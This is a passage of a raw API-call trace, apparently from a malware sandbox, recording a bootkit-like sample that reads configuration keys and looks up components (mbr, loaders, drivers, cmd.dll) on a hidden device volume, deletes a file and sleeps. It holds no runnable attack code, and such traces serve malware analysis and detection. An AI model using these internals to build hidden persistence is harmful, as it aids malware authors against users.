_Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.538] KeEnterCriticalRegion () [0120.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.538] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003487000 [0120.538] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.538] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.538] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.539] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.539] IdePortDispatch () returned 0x103 [0120.539] KeWaitForMutexObject () returned 0x0 [0120.539] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.539] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.539] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.539] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.539] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.539] IdePortDispatch () returned 0x103 [0120.539] KeWaitForMutexObject () returned 0x0 [0120.539] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.539] KeLeaveCriticalRegion () [0120.539] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.539] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.539] KeEnterCriticalRegion () [0120.539] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.540] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.540] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.540] KeLeaveCriticalRegion () [0120.540] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.540] KeEnterCriticalRegion () [0120.540] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.540] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.540] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbb070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.540] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.540] KeLeaveCriticalRegion () [0120.540] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.540] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.540] KeEnterCriticalRegion () [0120.540] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.540] ExFreePoolWithTag (P=0xfffffa8003bba310, Tag=0x0) [0120.540] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.540] KeLeaveCriticalRegion () [0120.540] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.540] ReleaseMutex (hMutex=0xf0) returned 1 [0120.540] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.540] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.540] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.540] KeEnterCriticalRegion () [0120.540] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.540] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.540] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.540] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.540] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.540] IdePortDispatch () returned 0x103 [0120.540] KeWaitForMutexObject () returned 0x0 [0120.540] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.540] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.540] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.540] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.540] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.540] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba910 [0120.540] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.540] KeLeaveCriticalRegion () [0120.540] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.541] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.541] KeEnterCriticalRegion () [0120.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.541] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.541] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.541] KeLeaveCriticalRegion () [0120.541] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.541] KeEnterCriticalRegion () [0120.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.541] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.541] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.541] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.541] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.541] IdePortDispatch () returned 0x103 [0120.541] KeWaitForMutexObject () returned 0x0 [0120.541] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.541] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.541] KeLeaveCriticalRegion () [0120.541] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.541] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.541] KeEnterCriticalRegion () [0120.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.541] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003488000 [0120.541] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.541] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.541] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.541] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.541] IdePortDispatch () returned 0x103 [0120.541] KeWaitForMutexObject () returned 0x0 [0120.542] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.542] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.542] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.542] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.542] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.542] IdePortDispatch () returned 0x103 [0120.542] KeWaitForMutexObject () returned 0x0 [0120.542] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.542] KeLeaveCriticalRegion () [0120.542] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.542] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.542] KeEnterCriticalRegion () [0120.542] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.542] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.542] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.542] KeLeaveCriticalRegion () [0120.542] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.542] KeEnterCriticalRegion () [0120.542] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.543] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.543] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.543] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.543] KeLeaveCriticalRegion () [0120.543] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.543] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.543] KeEnterCriticalRegion () [0120.543] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.543] ExFreePoolWithTag (P=0xfffffa8003bba910, Tag=0x0) [0120.543] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.543] KeLeaveCriticalRegion () [0120.543] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.543] ReleaseMutex (hMutex=0xf0) returned 1 [0120.543] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.543] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.543] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.543] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.543] KeEnterCriticalRegion () [0120.543] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.543] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.543] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.543] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.543] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.543] IdePortDispatch () returned 0x103 [0120.543] KeWaitForMutexObject () returned 0x0 [0120.543] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.543] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.543] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.543] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.543] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.543] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.543] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.543] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.543] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.543] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.543] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.543] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.543] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.543] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.543] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.544] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.544] KeLeaveCriticalRegion () [0120.544] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.544] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.544] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.544] KeEnterCriticalRegion () [0120.544] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.544] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.544] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.544] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.544] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.544] IdePortDispatch () returned 0x103 [0120.544] KeWaitForMutexObject () returned 0x0 [0120.544] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.544] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.544] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.544] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.544] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.544] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.544] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.544] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.544] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.544] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.544] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.544] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.544] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.544] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.544] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.544] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.544] KeLeaveCriticalRegion () [0120.544] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.544] ReleaseMutex (hMutex=0x100) returned 1 [0120.544] Sleep (dwMilliseconds=0x2bf20) [0120.547] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b0b3870, dwHighDateTime=0x1d24fa4)) [0120.547] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.547] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.554] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.554] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.554] KeEnterCriticalRegion () [0120.554] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.554] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.554] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.554] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.554] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.554] IdePortDispatch () returned 0x103 [0120.555] KeWaitForMutexObject () returned 0x0 [0120.555] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.555] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.555] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.555] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.555] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.555] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbbfb0 [0120.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.555] KeLeaveCriticalRegion () [0120.555] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.555] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.555] KeEnterCriticalRegion () [0120.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.555] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.555] KeLeaveCriticalRegion () [0120.555] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.555] KeEnterCriticalRegion () [0120.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.555] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.555] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.555] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.555] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.555] IdePortDispatch () returned 0x103 [0120.555] KeWaitForMutexObject () returned 0x0 [0120.555] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.555] KeLeaveCriticalRegion () [0120.555] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.556] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.556] KeEnterCriticalRegion () [0120.556] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.556] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800349b000 [0120.556] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.556] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.556] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.556] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.556] IdePortDispatch () returned 0x103 [0120.556] KeWaitForMutexObject () returned 0x0 [0120.556] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.556] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.556] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.556] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.556] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.556] IdePortDispatch () returned 0x103 [0120.556] KeWaitForMutexObject () returned 0x0 [0120.556] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.556] KeLeaveCriticalRegion () [0120.556] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.557] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.557] KeEnterCriticalRegion () [0120.557] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.557] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.557] KeLeaveCriticalRegion () [0120.557] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.557] KeEnterCriticalRegion () [0120.557] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.557] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.557] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.557] KeLeaveCriticalRegion () [0120.557] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.557] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.557] KeEnterCriticalRegion () [0120.557] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.557] ExFreePoolWithTag (P=0xfffffa8003bbbfb0, Tag=0x0) [0120.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.557] KeLeaveCriticalRegion () [0120.557] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.557] ReleaseMutex (hMutex=0xf0) returned 1 [0120.557] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.557] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.557] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.557] KeEnterCriticalRegion () [0120.557] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.557] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.557] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | 